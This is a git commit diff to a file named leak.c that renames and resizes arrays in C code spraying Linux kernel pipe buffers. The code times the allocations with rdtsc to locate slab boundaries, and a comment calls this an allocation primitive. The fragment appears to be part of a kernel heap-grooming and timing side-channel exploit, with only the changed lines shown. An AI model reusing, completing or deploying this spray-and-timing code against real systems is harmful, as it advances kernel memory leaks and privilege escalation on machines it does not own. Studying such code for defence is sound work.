correct size arrays
This commit is contained in:
parent
6302c9a02c
commit
56d0721fa8
1 changed files with 10 additions and 9 deletions
19
code/leak.c
19
code/leak.c
|
@ -11,10 +11,11 @@
|
||||||
|
|
||||||
// where does this come from?
|
// where does this come from?
|
||||||
#define OBJS_PER_SLAB 42
|
#define OBJS_PER_SLAB 42
|
||||||
#define PIPE_BUFFER (OBJS_PER_SLAB * 10)
|
|
||||||
#define SPRAY (OBJS_PER_SLAB * 100)
|
#define SPRAY (OBJS_PER_SLAB * 100)
|
||||||
|
#define PIPES (OBJS_PER_SLAB * 10)
|
||||||
|
|
||||||
int pipes[PIPE_BUFFER][2];
|
int spray[SPRAY][2];
|
||||||
|
int pipes[PIPES][2];
|
||||||
char buffer[0x100];
|
char buffer[0x100];
|
||||||
|
|
||||||
extern inline size_t
|
extern inline size_t
|
||||||
|
@ -48,15 +49,15 @@ main(void)
|
||||||
printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY);
|
printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY);
|
||||||
for (size_t i = 0; i < SPRAY; i++) {
|
for (size_t i = 0; i < SPRAY; i++) {
|
||||||
int ret;
|
int ret;
|
||||||
ret = pipe2(pipes[i], O_NONBLOCK);
|
ret = pipe2(spray[i], O_NONBLOCK);
|
||||||
if (ret < 0) {
|
if (ret < 0) {
|
||||||
printf("main: error: pipe2: object %lu\n", i);
|
printf("main: error: pipe2: object %lu\n", i);
|
||||||
}
|
}
|
||||||
ret = fcntl(pipes[i][0], F_SETPIPE_SZ, 2 << 12);
|
ret = fcntl(spray[i][0], F_SETPIPE_SZ, 2 << 12);
|
||||||
if (ret < 0) {
|
if (ret < 0) {
|
||||||
printf("main: error: fcntl: object %lu\n", i);
|
printf("main: error: fcntl: object %lu\n", i);
|
||||||
}
|
}
|
||||||
ret = write(pipes[i][1], buffer, 8);
|
ret = write(spray[i][1], buffer, 8);
|
||||||
if (ret < 0) {
|
if (ret < 0) {
|
||||||
printf("main: error: write: object %lu\n", i);
|
printf("main: error: write: object %lu\n", i);
|
||||||
}
|
}
|
||||||
|
@ -76,13 +77,13 @@ main(void)
|
||||||
size_t t_prev = -1;
|
size_t t_prev = -1;
|
||||||
size_t last_slab = -1;
|
size_t last_slab = -1;
|
||||||
for (size_t i = 0; i < SPRAY; i++) {
|
for (size_t i = 0; i < SPRAY; i++) {
|
||||||
pipe2(pipes[i], O_NONBLOCK);
|
pipe2(spray[i], O_NONBLOCK);
|
||||||
|
|
||||||
size_t t0 = rdtsc_begin();
|
size_t t0 = rdtsc_begin();
|
||||||
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
|
fcntl(spray[i][0], F_SETPIPE_SZ, 8192);
|
||||||
size_t t1 = rdtsc_end();
|
size_t t1 = rdtsc_end();
|
||||||
|
|
||||||
write(pipes[i][1], buffer, 8);
|
write(spray[i][1], buffer, 8);
|
||||||
|
|
||||||
t_delta = t0 - t1;
|
t_delta = t0 - t1;
|
||||||
|
|
||||||
|
@ -99,7 +100,7 @@ main(void)
|
||||||
t_prev = t_delta;
|
t_prev = t_delta;
|
||||||
}
|
}
|
||||||
|
|
||||||
for (size_t i = 0; i < PIPE_BUFFER; i++) {
|
for (size_t i = 0; i < PIPES; i++) {
|
||||||
// Pipe buffer allocation primitive
|
// Pipe buffer allocation primitive
|
||||||
pipe2(pipes[i], O_NONBLOCK);
|
pipe2(pipes[i], O_NONBLOCK);
|
||||||
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
|
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue